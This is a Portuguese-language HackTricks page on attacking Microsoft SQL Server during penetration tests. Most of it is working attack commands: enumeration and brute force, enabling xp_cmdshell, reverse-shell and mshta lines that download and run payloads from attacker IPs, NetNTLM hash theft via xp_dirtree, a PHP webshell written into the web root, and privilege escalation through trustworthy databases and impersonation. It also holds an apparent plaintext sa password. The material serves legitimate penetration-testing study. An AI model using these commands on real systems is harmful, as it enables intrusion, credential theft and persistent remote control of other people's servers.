1433 - Pentesting MSSQL - Microsoft SQL Server

Reading time: 22 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

InformaçÔes Båsicas

De wikipedia:

Microsoft SQL Server Ă© um sistema de gerenciamento de banco de dados relacional desenvolvido pela Microsoft. Como um servidor de banco de dados, Ă© um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outras aplicaçÔes de software—que podem ser executadas no mesmo computador ou em outro computador atravĂ©s de uma rede (incluindo a Internet).

Porta padrĂŁo: 1433

1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM

Tabelas de Sistema PadrĂŁo do MS-SQL

  • Banco de Dados master: Este banco de dados Ă© crucial, pois captura todos os detalhes em nĂ­vel de sistema para uma instĂąncia do SQL Server.
  • Banco de Dados msdb: O SQL Server Agent utiliza este banco de dados para gerenciar o agendamento de alertas e trabalhos.
  • Banco de Dados model: Funciona como um modelo para cada novo banco de dados na instĂąncia do SQL Server, onde quaisquer alteraçÔes como tamanho, collation, modelo de recuperação e mais sĂŁo refletidas nos bancos de dados recĂ©m-criados.
  • Banco de Dados Resource: Um banco de dados somente leitura que abriga objetos de sistema que acompanham o SQL Server. Esses objetos, embora armazenados fisicamente no banco de dados Resource, sĂŁo apresentados logicamente no esquema sys de cada banco de dados.
  • Banco de Dados tempdb: Serve como uma ĂĄrea de armazenamento temporĂĄrio para objetos transitĂłrios ou conjuntos de resultados intermediĂĄrios.

Enumeração

Enumeração Automåtica

Se vocĂȘ nĂŁo souber nada sobre o serviço:

bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP> msf> use auxiliary/scanner/mssql/mssql_ping

note

Se vocĂȘ nĂŁo tiver credenciais, pode tentar adivinhĂĄ-las. VocĂȘ pode usar nmap ou metasploit. Tenha cuidado, vocĂȘ pode bloquear contas se falhar no login vĂĄrias vezes usando um nome de usuĂĄrio existente.

Metasploit (precisa de credenciais)

bash
#Set USERNAME, RHOSTS and PASSWORD #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used #Steal NTLM msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder #Info gathering msf> use admin/mssql/mssql_enum #Security checks msf> use admin/mssql/mssql_enum_domain_accounts msf> use admin/mssql/mssql_enum_sql_logins msf> use auxiliary/admin/mssql/mssql_findandsampledata msf> use auxiliary/scanner/mssql/mssql_hashdump msf> use auxiliary/scanner/mssql/mssql_schemadump #Search for insteresting data msf> use auxiliary/admin/mssql/mssql_findandsampledata msf> use auxiliary/admin/mssql/mssql_idf #Privesc msf> use exploit/windows/mssql/mssql_linkcrawler msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin #Code execution msf> use admin/mssql/mssql_exec #Execute commands msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload #Add new admin user from meterpreter session msf> use windows/manage/mssql_local_auth_bypass

Força bruta

Enumeração Manual

Login

MSSQLPwner

shell
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using tickets against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt # Bruteforce using passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt # Bruteforce using hashes against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
bash
# Using Impacket mssqlclient.py mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP> ## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP> # Using sqsh sqsh -S <IP> -U <Username> -P <Password> -D <Database> ## In case Windows Auth using "." as domain name for local user sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database> ## In sqsh you need to use GO after writting the query to send it 1> select 1; 2> go

Enumeração Comum

sql
# Get version select @@version; # Get user select user_name(); # Get databases SELECT name FROM master.dbo.sysdatabases; # Use database USE master #Get table names SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES; #List Linked Servers EXEC sp_linkedservers SELECT * FROM sys.servers; #List users select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name; #Create user with sysadmin privs CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!' EXEC sp_addsrvrolemember 'hacker', 'sysadmin' #Enumerate links enum_links #Use a link use_link [NAME]

Obter UsuĂĄrio

Types of MSSQL Users

sql
# Get all the users and roles select * from sys.database_principals; ## This query filters a bit the results select name, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type, sid from sys.database_principals where type not in ('A', 'R') order by name; ## Both of these select all the users of the current database (not the server). ## Interesting when you cannot acces the table sys.database_principals EXEC sp_helpuser SELECT * FROM sysusers

Obter PermissÔes

  1. Securable: Definido como os recursos gerenciados pelo SQL Server para controle de acesso. Estes sĂŁo categorizados em:
  • Servidor – Exemplos incluem bancos de dados, logins, endpoints, grupos de disponibilidade e funçÔes de servidor.
  • Banco de Dados – Exemplos abrangem função de banco de dados, funçÔes de aplicativo, esquema, certificados, catĂĄlogos de texto completo e usuĂĄrios.
  • Esquema – Inclui tabelas, visĂ”es, procedimentos, funçÔes, sinĂŽnimos, etc.
  1. Permissão: Associada aos securables do SQL Server, permissÔes como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissÔes ocorre em dois níveis:
  • NĂ­vel de Servidor usando logins
  • NĂ­vel de Banco de Dados usando usuĂĄrios
  1. Principal: Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuårios de banco de dados. O controle sobre o acesso a securables é exercido através da concessão ou negação de permissÔes ou pela inclusão de logins e usuårios em funçÔes equipadas com direitos de acesso.
sql
# Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); # Show all possible permissions in MSSQL SELECT * FROM sys.fn_builtin_permissions(DEFAULT); # Get all my permissions over securable type SERVER SELECT * FROM fn_my_permissions(NULL, 'SERVER'); # Get all my permissions over a database USE <database> SELECT * FROM fn_my_permissions(NULL, 'DATABASE'); # Get members of the role "sysadmin" Use master EXEC sp_helpsrvrolemember 'sysadmin'; # Get if the current user is sysadmin SELECT IS_SRVROLEMEMBER('sysadmin'); # Get users that can run xp_cmdshell Use master EXEC sp_helprotect 'xp_cmdshell'

Truques

Executar Comandos do SO

caution

Note que, para poder executar comandos, nĂŁo Ă© apenas necessĂĄrio ter xp_cmdshell habilitado, mas tambĂ©m ter a permissĂŁo EXECUTE na stored procedure xp_cmdshell. VocĂȘ pode descobrir quem (exceto sysadmins) pode usar xp_cmdshell com:

Use master EXEC sp_helprotect 'xp_cmdshell'
bash
# Username + Password + CMD command crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami" # Username + Hash + PS command crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable' # Check if xp_cmdshell is enabled SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'; # This turns on advanced options and is needed to configure xp_cmdshell sp_configure 'show advanced options', '1' RECONFIGURE #This enables xp_cmdshell sp_configure 'xp_cmdshell', '1' RECONFIGURE #One liner EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; # Quickly check what the service account is via xp_cmdshell EXEC master..xp_cmdshell 'whoami' # Get Rev shell EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile' # Bypass blackisted "EXEC xp_cmdshell" '; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

shell
# Executing custom assembly on the current server with windows authentication and executing hostname command mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname # Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname # Executing the hostname command using stored procedures on the linked SRV01 server mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

Roubo de hash NetNTLM / Ataque de Relay

VocĂȘ deve iniciar um servidor SMB para capturar o hash usado na autenticação (impacket-smbserver ou responder, por exemplo).

bash
xp_dirtree '\\<attacker_IP>\any\thing' exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing' EXEC master..xp_subdirs '\\<attacker_IP>\anything\' EXEC master..xp_fileexist '\\<attacker_IP>\anything\' # Capture hash sudo responder -I tun0 sudo impacket-smbserver share ./ -smb2support msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

shell
# Issuing NTLM relay attack on the SRV01 server mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250 # Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250 # Issuing NTLM relay attack on the local server with custom command mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

warning

VocĂȘ pode verificar quem (alĂ©m dos sysadmins) tem permissĂ”es para executar essas funçÔes MSSQL com:

Use master; EXEC sp_helprotect 'xp_dirtree'; EXEC sp_helprotect 'xp_subdirs'; EXEC sp_helprotect 'xp_fileexist';

Usando ferramentas como responder ou Inveigh, Ă© possĂ­vel roubar o hash NetNTLM.
VocĂȘ pode ver como usar essas ferramentas em:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Leia este post para encontrar mais informaçÔes sobre como abusar desse recurso:

MSSQL AD Abuse

Escrever Arquivos

Para escrever arquivos usando MSSQL, precisamos habilitar Ole Automation Procedures, o que requer privilégios de administrador, e então executar alguns procedimentos armazenados para criar o arquivo:

bash
# Enable Ole Automation Procedures sp_configure 'show advanced options', 1 RECONFIGURE sp_configure 'Ole Automation Procedures', 1 RECONFIGURE # Create a File DECLARE @OLE INT DECLARE @FileID INT EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1 EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>' EXECUTE sp_OADestroy @FileID EXECUTE sp_OADestroy @OLE

Ler arquivo com OPENROWSET

Por padrĂŁo, MSSQL permite a leitura de arquivos em qualquer arquivo no sistema operacional ao qual a conta tenha acesso de leitura. Podemos usar a seguinte consulta SQL:

sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

No entanto, a opção BULK requer a permissão ADMINISTER BULK OPERATIONS ou ADMINISTER DATABASE BULK OPERATIONS.

sql
# Check if you have it SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Vetor baseado em erro para SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Leitura de arquivos executando scripts (Python e R)

MSSQL pode permitir que vocĂȘ execute scripts em Python e/ou R. Este cĂłdigo serĂĄ executado por um usuĂĄrio diferente do que estĂĄ usando xp_cmdshell para executar comandos.

Exemplo tentando executar um 'R' "Hellow World!" nĂŁo funcionando:

Exemplo usando python configurado para realizar vårias açÔes:

sql
# Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))' #Open and read a file EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' #Multiline EXECUTE sp_execute_external_script @language = N'Python', @script = N' import sys print(sys.version) ' GO

Ler Registro

Microsoft SQL Server fornece mĂșltiplas procedimentos armazenados estendidos que permitem interagir nĂŁo apenas com a rede, mas tambĂ©m com o sistema de arquivos e atĂ© mesmo o Registro do Windows:

RegularCiente da InstĂąncia
sys.xp_regreadsys.xp_instance_regread
sys.xp_regenumvaluessys.xp_instance_regenumvalues
sys.xp_regenumkeyssys.xp_instance_regenumkeys
sys.xp_regwritesys.xp_instance_regwrite
sys.xp_regdeletevaluesys.xp_instance_regdeletevalue
sys.xp_regdeletekeysys.xp_instance_regdeletekey
sys.xp_regaddmultistringsys.xp_instance_regaddmultistring
sys.xp_regremovemultistringsys.xp_instance_regremovemultistring
sql
# Example read registry EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory'; # Example write and then read registry EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!'; EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue'; # Example to check who can use these functions Use master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite';

Para mais exemplos, confira a fonte original.

RCE com Função Definida pelo Usuårio MSSQL - SQLHttp

É possĂ­vel carregar um dll .NET dentro do MSSQL com funçÔes personalizadas. Isso, no entanto, requer acesso dbo, entĂŁo vocĂȘ precisa de uma conexĂŁo com o banco de dados como sa ou um papel de Administrador.

Seguindo este link para ver um exemplo.

RCE com autoadmin_task_agents

De acordo com este post, também é possível carregar um dll remoto e fazer o MSSQL executå-lo com algo como:

sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

Com:

csharp
using Microsoft.SqlServer.SmartAdmin; using System; using System.Diagnostics; namespace Class1 { public class Class1 : TaskAgent { public Class1() { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c ping localhost -t"; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; process.Start(); process.WaitForExit(); } public override void DoWork() { } public override void ExternalJob(string command, LogBaseService jobLogger) { } public override void Start(IServicesFactory services) { } public override void Stop() { } public void Test() { } } }

Outras maneiras de RCE

Existem outros métodos para obter execução de comandos, como adicionar extended stored procedures, CLR Assemblies, SQL Server Agent Jobs e external scripts.

Escalação de Privilégios MSSQL

De db_owner para sysadmin

Se um usuårio regular receber o papel db_owner sobre o banco de dados pertencente a um usuårio admin (como sa) e esse banco de dados estiver configurado como trustworthy, esse usuårio pode abusar desses privilégios para privesc porque stored procedures criadas lå podem executar como o proprietårio (admin).

sql
# Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases # Find trustworthy databases SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name; # Get roles over the selected database (look for your username as db_owner) USE <trustworthy_db> SELECT rp.name as database_role, mp.name as database_user from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id) join sys.database_principals mp on (drm.member_principal_id = mp.principal_id) # If you found you are db_owner of a trustworthy database, you can privesc: --1. Create a stored procedure to add your user to sysadmin role USE <trustworthy_db> CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'USERNAME','sysadmin' --2. Execute stored procedure to get sysadmin role USE <trustworthy_db> EXEC sp_elevate_me --3. Verify your user is a sysadmin SELECT is_srvrolemember('sysadmin')

VocĂȘ pode usar um mĂłdulo metasploit:

bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Ou um script PS:

powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Impersonação de outros usuårios

SQL Server tem uma permissão especial, chamada IMPERSONATE, que permite que o usuårio em execução assuma as permissÔes de outro usuårio ou login até que o contexto seja redefinido ou a sessão termine.

sql
# Find users you can impersonate SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' # Check if the user "sa" or any other high privileged user is mentioned # Impersonate sa user EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') # If you can't find any users, make sure to check for links enum_links # If there is a link of interest, re-run the above steps on each link use_link [NAME]

note

Se vocĂȘ puder se passar por um usuĂĄrio, mesmo que ele nĂŁo seja sysadmin, vocĂȘ deve verificar se o usuĂĄrio tem acesso a outros bancos de dados ou servidores vinculados.

Observe que, uma vez que vocĂȘ Ă© sysadmin, pode se passar por qualquer outro:

sql
-- Impersonate RegUser EXECUTE AS LOGIN = 'RegUser' -- Verify you are now running as the the MyUser4 login SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') -- Change back to sa REVERT

VocĂȘ pode realizar este ataque com um mĂłdulo metasploit:

bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as

ou com um script PS:

powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Usando MSSQL para PersistĂȘncia

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Extraindo senhas de Servidores Vinculados do SQL Server

Um atacante pode extrair senhas de Servidores Vinculados do SQL Server das InstĂąncias SQL e obtĂȘ-las em texto claro, concedendo ao atacante senhas que podem ser usadas para adquirir uma maior presença no alvo. O script para extrair e descriptografar as senhas armazenadas para os Servidores Vinculados pode ser encontrado aqui

Alguns requisitos e configuraçÔes devem ser feitos para que essa exploração funcione. Primeiro de tudo, vocĂȘ deve ter direitos de Administrador na mĂĄquina ou a capacidade de gerenciar as ConfiguraçÔes do SQL Server.

ApĂłs validar suas permissĂ”es, vocĂȘ precisa configurar trĂȘs coisas, que sĂŁo as seguintes:

  1. Habilitar TCP/IP nas instĂąncias do SQL Server;
  2. Adicionar um parùmetro de Inicialização, neste caso, um sinalizador de rastreamento serå adicionado, que é -T7806.
  3. Habilitar conexĂŁo remota de administrador.

Para automatizar essas configuraçÔes, este repositório tem os scripts necessårios. Além de ter um script powershell para cada etapa da configuração, o repositório também possui um script completo que combina os scripts de configuração e a extração e descriptografia das senhas.

Para mais informaçÔes, consulte os seguintes links sobre este ataque: Descriptografando Senhas de Servidor de Link do Banco de Dados MSSQL

Resolvendo Problemas com a ConexĂŁo Dedicada de Administrador do SQL Server

Escalação de Privilégios Local

O usuårio que executa o servidor MSSQL terå habilitado o token de privilégio SeImpersonatePrivilege.
VocĂȘ provavelmente conseguirĂĄ escalar para Administrador seguindo uma dessas 2 pĂĄginas:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

  • port:1433 !HTTP

ReferĂȘncias

Comandos AutomĂĄticos HackTricks

Protocol_Name: MSSQL #Protocol Abbreviation if there is one. Port_Number: 1433 #Comma separated if there is more than one. Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for MSSQL Note: | Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet). #sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G ###the goal is to get xp_cmdshell working### 1. try and see if it works xp_cmdshell `whoami` go 2. try to turn component back on EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell `whoami` go 3. 'advanced' turn it back on EXEC SP_CONFIGURE 'show advanced options', 1 reconfigure go EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell 'whoami' go xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')" https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html Entry_2: Name: Nmap for SQL Description: Nmap with SQL Scripts Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP} Entry_3: Name: MSSQL consolesless mfs enumeration Description: MSSQL enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks